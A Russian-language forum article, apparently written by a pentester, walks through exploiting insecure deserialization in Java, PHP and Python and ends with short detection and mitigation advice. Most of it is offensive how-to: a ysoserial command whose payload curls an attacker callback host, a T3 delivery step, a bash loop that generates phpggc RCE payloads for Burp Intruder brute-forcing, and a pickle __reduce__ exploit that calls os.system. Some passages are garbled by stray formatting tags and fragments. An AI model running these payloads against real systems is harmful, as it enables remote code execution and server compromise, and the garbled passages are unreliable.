Когда я впервые столкнулся с десериализацией на пентесте, это выглядело как магия: непонятный blob в cookie, утилита ysoserial, и через полминуты - reverse shell на WebLogic. Потом я потратил три вечера, чтобы понять, почему это сработало и как подобрать правильную gadget chain для нестандартного стека. Три вечера - потому что документация по gadget chain разбросана по десяткам issue на GitHub, а половина примеров устарела. Эта статья - результат того пути: от обнаружения сериализованных объектов в трафике до эксплуатации десериализации в Java, PHP и Python с разбором конкретных CVE.
OWASP включал небезопасную десериализацию веб-приложений в Top 10 как отдельную категорию (A8:2017), а в редакции 2021 года объединил её с «Software and Data Integrity Failures» (A8:2021). В черновике OWASP Top 10 2025 CWE-502 по-прежнему входит в категорию A08. Но то, что категорию «укрупнили», не значит, что проблема стала менее опасной - уязвимости десериализации стабильно приводят к Remote Code Execution на корпоративных Java-серверах, PHP-фреймворках и Python-сервисах. По MITRE ATT&CK эксплуатация десериализации - это Exploit Public-Facing Application (T1190, Initial Access), а результат - Command and Scripting Interpreter (T1059, Execution). Ниже - практическое руководство: от идентификации формата до доставки payload.
Как распознать сериализованные данные в трафике
Прежде чем искать десериализацию RCE уязвимость, нужно найти точку входа. Сериализованные объекты передаются в cookie, POST-параметрах, заголовках и WebSocket-фреймах. Каждый язык оставляет характерный «отпечаток» - и если научиться его читать, полдела сделано.Сигнатуры Java, PHP и Python в HTTP-запросах
Java. Сериализованные Java-объекты всегда начинаются с байтовac ed 00 05 (hex) или rO0AB в Base64. Любой класс, реализующий java.io.Serializable, может быть сериализован и передан по сети (это из документации PortSwigger, но на практике - именно так). Ищите заголовок Content-Type: application/x-java-serialized-object и параметры с Base64, начинающимся на rO0AB. Burp Suite Professional автоматически помечает такие объекты, а расширение Java Deserialization Scanner позволяет тестировать endpoint прямо из Burp.PHP. Формат сериализации PHP текстовый - читается глазами. Строка начинается с маркеров типов:
O: (объект), a: (массив), s: (строка), i: (integer), b: (boolean). Реальный пример из аудита, описанного исследователями Vaadata: параметр datas содержал Base64-закодированную строку a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;} - ассоциативный массив с двумя ключами. Видите такой формат в запросе? На серверной стороне почти наверняка вызывается unserialize(), и перед вами потенциальная объектная инъекция.Python. Модуль
pickle генерирует бинарный поток с характерными опкодами. Протокол версии 2+ начинается с байта \x80 и номера версии (\x02–\x05). В текстовом представлении видны маркеры cbuiltins, c[B]builtin[/B], cos - ссылки на Python-модули, которые вызываются при десериализации. Отдельный вектор - PyYAML с конструкцией !!python/object/apply:, позволяющей инстанцировать произвольные объекты при yaml.load() без параметра Loader=SafeLoader.Мой рабочий процесс простой: перехват трафика в Burp, Base64-декод параметров, проверка первых байтов.
ac ed - Java, O: или a: - PHP, \x80\x0X - pickle. Определил формат - знаю, какой инструмент запускать: ysoserial, phpggc или ручной Python-скрипт.Эксплуатация десериализации Java через ysoserial
Java - исторически главная площадка для десериализационных атак. Корпоративные стеки на WebLogic, JBoss, Spring Framework и Apache Struts годами содержали gadget chain, превращающие вызовObjectInputStream.readObject() в точку входа для удалённого выполнения кода. Инструмент ysoserial, созданный Крисом Фрохоффом и представленный на AppSecCali 2015 в докладе «Marshalling Pickles», стал стандартом де-факто. Я лично не встречал ни одного Java-пентеста, где бы ysoserial не пригодился - хотя бы для проверки.Требования к окружению: Java 1.7+ для запуска ysoserial, JAR-файл из GitHub releases (
frohoff/ysoserial), сетевой доступ до целевого endpoint. Для локальной отладки gadget chain - Docker-образ уязвимого приложения (например, Vulhub-контейнер WebLogic). Для out-of-band детекции - Burp Collaborator или собственный DNS-сервер.Принцип работы: указываете тип gadget chain и команду ОС, ysoserial генерирует сериализованный Java-объект на stdout. Когда приложение с нужными библиотеками в classpath десериализует данные, цепочка срабатывает и выполняет команду. Часто упускаемый момент (я сам сначала на него не обратил внимания): уязвимость не в библиотеке, а в приложении, которое передаёт недоверенные данные в
readObject(). Apache Commons Collections в classpath - само по себе не дыра. Дыра - когда пользовательский ввод попадает в readObject().Подбор ysoserial gadget chain и CVE десериализации Java
Ysoserial содержит более 30 gadget chain: CommonsCollections1–7, Spring1–2, Groovy1, Hibernate1–2, JSON1, Jdk7u21, ROME и другие. Не все ведут к RCE напрямую - некоторые пишут файлы или делают JNDI-lookup. Каждый требует конкретных библиотек конкретных версий.CommonsCollections1 работает с commons-collections:3.1, а CommonsCollections2 - с commons-collections4:4.0. Полный список зависимостей - в README репозитория.Если classpath цели неизвестен (black-box), работает перебор: генерация payload для каждого chain с OOB-callback (DNS-запрос на Burp Collaborator) и анализ, какой вызвал обращение. Ещё есть GadgetProbe (расширение Burp Suite из BApp Store) - он определяет загруженные на сервере классы через DNS-взаимодействие при десериализации. Сужает перебор с десятков chain до единиц - экономит кучу времени.
Bash:
# Генерация payload для WebLogic (CommonsCollections1)
java -jar ysoserial.jar CommonsCollections1 \
'curl http://attacker.burpcollaborator.net/rce' > payload.bin
# Проверка сигнатуры - должны увидеть ac ed 00 05
xxd payload.bin | head -1
# 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c
# Доставка: через T3, HTTP-параметр или RMI
python3 t3_send.py --host target:7001 --payload payload.bin
AV:N/AC:L/PR:N/UI:N - ни привилегий, ни взаимодействия с пользователем не нужно. Gadget chain из com.bea.core.apache.commons.collections.jar, входящей в WebLogic, давал выполнение произвольной команды ОС. Эту дыру эксплуатировали в дикой природе ещё годы после раскрытия - патчили её далеко не все.CVE-2017-9805: Apache Struts REST без фильтрации типов
REST Plugin в Apache Struts 2.1.1–2.3.x (до 2.3.34) и 2.5.x (до 2.5.13) использовалXStreamHandler с экземпляром XStream для десериализации XML-payload без какой-либо фильтрации типов (CVSS 8.1, HIGH; CWE-502). AC:H в векторе - высокая сложность: нужно было собрать XML с правильной gadget chain для XStream. По данным NVD, уязвимость затрагивала и продукты Cisco: Digital Media Manager и Hosted Collaboration Solution. Атакующий слал crafted XML в REST endpoint, XStream восстанавливал объект, цепочка вызовов приводила к remote code execution.Оба CVE - классика T1190 (Exploit Public-Facing Application): атакующий обращается к торчащему в интернет endpoint, отправляет сериализованный payload, получает выполнение кода, а дальше - Web Shell (T1505.003, Persistence) или Reflective Code Loading (T1620, Defense Evasion) для загрузки вредоносных модулей в память.
PHP десериализация: phpggc и black-box перебор цепочек
PHP-приложения на Laravel, Symfony, Magento и Drupal регулярно содержат гаджеты для эксплуатации. Если в Java-мире всё крутится вокруг бинарногоObjectInputStream, то в PHP атака начинается с вызова unserialize() на пользовательских данных - классическая PHP object injection.Инструмент phpggc (PHP Generic Gadget Chains) - PHP-аналог ysoserial. Содержит готовые gadget chain для десятков фреймворков и библиотек.
phpggc -l выводит полный список цепочек, phpggc -l | grep RCE фильтрует только те, что ведут к удалённому выполнению кода.Brute-force цепочек при black-box phpggc эксплуатации
В идеале у пентестера есть доступ к исходному коду, чтобы определить доступные классы. На bug bounty или при black-box аудите кода нет. Исследователи Vaadata описали методику, которую я неоднократно применял: генерация payload для всех RCE-совместимых chain из phpggc и перебор через Burp Intruder.
Bash:
#!/bin/bash
# Массовая генерация RCE-payload для brute-force
cmd="nslookup target.your-collaborator.net"
phpggc -l | grep RCE | cut -d' ' -f1 | while read gadget; do
phpggc -a -b -u -f "$gadget" system "$cmd" 2>/dev/null
done > payloads.txt
# Загрузить payloads.txt в Burp Intruder, позиция = параметр datas
# Ответ, отличный от остальных + DNS-callback = рабочая chain
-a - ASCII-safe encoding (экранирование нулевых байтов для обхода проблем парсинга PHP), -b - Base64, -u - URL-encode, -f - fast-destruct. Последний флаг критичен: он генерирует payload, в котором [B]destruct() срабатывает немедленно после unserialize(), без полного обхода графа свойств. Многие цепочки работают именно через [/B]destruct(), а не через __wakeup(). Без -f payload может не сработать, хотя библиотека на сервере есть - я на это натыкался не раз.В кейсе Vaadata из нескольких сотен сгенерированных payload сработал
Monolog/RCE8, подтвердив наличие библиотеки Monolog на целевом сервере. После идентификации рабочей цепочки следующий payload уже содержал system('whoami /all') вместо DNS-запроса, и ответ сервера вернул информацию о пользователе IIS - полноценная десериализация PHP уязвимость с подтверждённым RCE.Магические методы и объектная инъекция в PHP
Эксплуатация insecure deserialization в PHP базируется на магических методах. При вызовеunserialize() PHP автоматически выполняет [B]wakeup() на восстановленном объекте. При уничтожении - [/B]destruct(). При приведении к строке - __toString(). Эти методы - точки входа в gadget chain.Цепочка строится по принципу POP (Property-Oriented Programming): объект A в
__destruct() обращается к свойству, которое на самом деле - объект B. Объект B при вызванном методе дёргает объект C - и так до момента, когда финальный гаджет выполняет system(), exec(), file_put_contents() или eval(). По сути - матрёшка из объектов, где каждый слой вызывает следующий.Если phpggc не содержит chain для целевого фреймворка, цепочку строят руками. Нужен доступ к коду (например, после эксплуатации отдельной уязвимости чтения файлов). Поиск входных точек:
grep -rn '[B]destruct\|[/B]wakeup\|__toString' vendor/, затем трассировка от магического метода до опасного sink. Phpggc сам построен по этому принципу - каждая цепочка в нём обнаружена в исходном коде конкретного фреймворка.Десериализация Python pickle exploit: RCE без gadget chain
Python-десериализация черезpickle - отдельная история. Здесь gadget chain не нужен вообще. Модуль pickle позволяет определить метод [B]reduce[/B]() на объекте - он возвращает вызываемую функцию и её аргументы. При pickle.loads() эта функция вызывается автоматически. Никаких дополнительных условий, никакого подбора библиотек.
Python:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# pickle сериализует os.system как posix.system (Linux) или nt.system (Windows)
# При pickle.loads(payload) на сервере выполняется os.system('id')
pickle.loads() на недоверенных данных. По MITRE ATT&CK - техника Python (T1059.006, Execution).Где искать pickle:
- ML/AI-сервисы: модели передаются в формате
.pkl. Загрузка вредоносного pickle-файла через API - классический вектор. MLflow (CVE-2024-37052 и связанные, CVSS 8.8) подвержен атакам через загрузку вредоносных моделей. - Очереди задач: Celery при использовании pickle-сериализатора принимает произвольные объекты из брокера сообщений.
- Кеширование: Redis и Memcached, хранящие pickle-объекты, становятся вектором при инъекции в кеш.
- Веб-фреймворки: Django при использовании
PickleSerializerдля сессий десериализует данные из cookie.
.pkl между сервисами и даже не задумываются, что это фактически eval() в красивой обёртке.Детект и митигация
Для Java: заменаObjectInputStream на фильтрующие обёртки (JEP 290, доступен с Java 9), библиотеки NotSoSerial или SerialKiller, удаление неиспользуемых gadget-библиотек из classpath. Для PHP: замена unserialize() на json_decode(), а если невозможно - параметр allowed_classes в unserialize() (PHP 7.0+). Для Python: полный отказ от pickle.loads() на недоверенных данных, переход на json, msgpack или safetensors для ML-моделей. На уровне инфраструктуры: WAF-правила для сигнатур ac ed 00 05 и rO0AB, мониторинг DNS-запросов к внешним доменам (OOB-индикатор), сегментация сети для ограничения последствий RCE.Попробуйте прогнать свои сервисы через описанные сигнатуры - перехватите трафик в Burp, поищите
rO0AB в параметрах и cookie. Если нашли - у вас та же проблема, что была у WebLogic в 2015-м. Только сейчас 2025-й, и оправданий уже нет.Вопрос к читателям
Кто работал с black-box phpggc-перебором на Laravel или Symfony - как вы обходите ситуацию, когда флаг-f (fast-destruct) не помогает и Monolog/RCE8 молчит, хотя Monolog точно в стеке? Конкретно: какую комбинацию флагов вы используете - -a -b -u -f или убираете -f и гоняете через __wakeup()-вектор отдельным прогоном? И второй момент: при доставке payload через Burp Intruder на параметр типа datas - какой Payload Processing-шаг ставите первым, Base64 или URL-encode, чтобы нулевые байты не резались WAF? Поделитесь вашим конкретным порядком флагов и настройкой Intruder - особенно если сталкивались с Nginx + ModSecurity перед PHP-бэкендом.
Последнее редактирование модератором: